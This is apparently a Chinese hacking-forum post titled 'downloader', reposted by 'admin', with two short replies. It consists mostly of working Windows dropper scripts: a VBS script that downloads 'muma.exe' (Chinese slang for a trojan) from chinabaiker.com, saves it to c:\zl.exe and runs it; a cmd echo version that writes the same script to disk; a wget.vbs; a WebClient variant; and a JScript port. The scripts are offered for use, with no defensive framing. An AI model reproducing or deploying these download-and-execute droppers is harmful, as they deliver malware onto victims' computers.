下载者

admin

转载备份

vbs版本

1. 一、VBS下载者：
   
2. 
   
3. Set Post = CreateObject("Msxml2.XMLHTTP")
   
4. Set Shell = CreateObject("Wscript.Shell")
   
5. Post.Open "GET","http://www.chinabaiker.com/muma.exe",0
   
6. Post.Send()
   
7. Set aGet = CreateObject("ADODB.Stream")
   
8. aGet.Mode = 3
   
9. aGet.Type = 1
   
10. aGet.Open()
    
11. aGet.Write(Post.responseBody)
    
12. aGet.SaveToFile "c:\zl.exe",2
    
13. wscript.sleep 1000
    
14. Shell.Run ("c:\zl.exe") '延迟过后执行下载文件
    
15. 
    
16. 
    
17. 二、cmd下执行的版本：
    
18. 
    
19. echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs
    
20. echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs
    
21. echo Post.Open "GET","http://www.chinabaiker.com/muma.exe",0 >>zl.vbs
    
22. echo Post.Send() >>zl.vbs
    
23. echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs
    
24. echo aGet.Mode = 3 >>zl.vbs
    
25. echo aGet.Type = 1 >>zl.vbs
    
26. echo aGet.Open() >>zl.vbs
    
27. echo aGet.Write(Post.responseBody) >>zl.vbs
    
28. echo aGet.SaveToFile "c:\zl.exe",2 >>zl.vbs
    
29. echo wscript.sleep 1000 >>zl.vbs
    
30. echo Shell.Run ("c:\zl.exe") >>zl.vbs
    
31. 
    
32. 三、wget.vbs
    
33. 
    
34. on error resume next
    
35. iLocal=LCase(Wscript.Arguments(1))
    
36. iRemote=LCase(Wscript.Arguments(0))
    
37. iUser=LCase(Wscript.Arguments(2))
    
38. iPass=LCase(Wscript.Arguments(3))
    
39. set xPost=CreateObject("Microsoft.XMLHTTP")
    
40. if iUser="" and iPass="" then
    
41. xPost.Open "GET",iRemote,0
    
42. else
    
43. xPost.Open "GET",iRemote,0,iUser,iPass
    
44. end if
    
45. xPost.Send()
    
46. set sGet=CreateObject("ADODB.Stream")
    
47. sGet.Mode=3
    
48. sGet.Type=1
    
49. sGet.Open()
    
50. sGet.Write xPost.ResponseBody
    
51. sGet.SaveToFile iLocal,2
    
52. 
    
53. 使用方法：cscript wget.vbs http://www.chinabaiker.com/muma.exe

复制代码

1. 
   
2. manifest = "<?xml version=""1.0"" encoding=""UTF-16"" standalone=""yes""?>"
   
3. manifest = manifest &"<assembly manifestVersion=""1.0"" xmlns=""urn:schemas-microsoft-com:asm.v1"">"
   
4. manifest = manifest &"<assemblyIdentity name=""System"" version=""4.0.0.0"" publicKeyToken=""B77A5C561934E089"" />"
   
5. manifest = manifest &"<clrClass clsid=""{7D458845-B4B8-30CB-B2AD-FC4960FCDF81}"" progid=""System.Net.WebClient"" threadingModel=""Both"" name=""System.Net.WebClient"" runtimeVersion=""v4.0.30319"" /></assembly>"
   
6. set ax = CreateObject("Microsoft.Windows.ActCtx")
   
7. ax.ManifestText = manifest
   
8. Set sNetClient = ax.CreateObject("System.Net.WebClient")
   
9. webstuff = sNetClient.DownloadFile("http://www.chinabaiker.com/calc.exe","C:\Users\Jumbo\Desktop\calc.exe")
   
10. wsh.echo webstuff

复制代码

js版本

1. 作者：lcx
   
2. 来源：vbs小铺
   
3. 
   
4. 
   
5. //将常用的vbs下载者改成js版了。本来想用jsc.exe编译，可是不成功。jsc.exe不认WScript
   
6. 
   
7. //use: cscript this.js http://www.xxx.com/xxx.exe c:\xxx.exe
   
8. 
   
9. 
   
10. var objArgs = WScript.Arguments;
    
11. var sGet=new ActiveXObject("ADODB.Stream");
    
12. var xGet = false;
    
13. try {
    
14. xGet = new XMLHttpRequest();
    
15. }
    
16. catch (trymicrosoft) {
    
17. try {
    
18.     xGet = new ActiveXObject("Msxml2.XMLHTTP");
    
19. }
    
20. catch (othermicrosoft) {
    
21.     try {
    
22.       xGet = new ActiveXObject("Microsoft.XMLHTTP");
    
23.     }
    
24. catch (failed) {
    
25.       xGet = false;
    
26.     }
    
27. }
    
28. }
    
29. 
    
30. xGet.Open ("GET",objArgs(0).toLowerCase(),0);
    
31. xGet.Send();
    
32. sGet.Mode=3;
    
33. sGet.Type=1;
    
34. sGet.Open();
    
35. sGet.Write (xGet.ResponseBody);
    
36. sGet.SaveToFile (objArgs(1).toLowerCase(),2);

复制代码

xunnun

这是网马？

牛逼，这波逼给你32个赞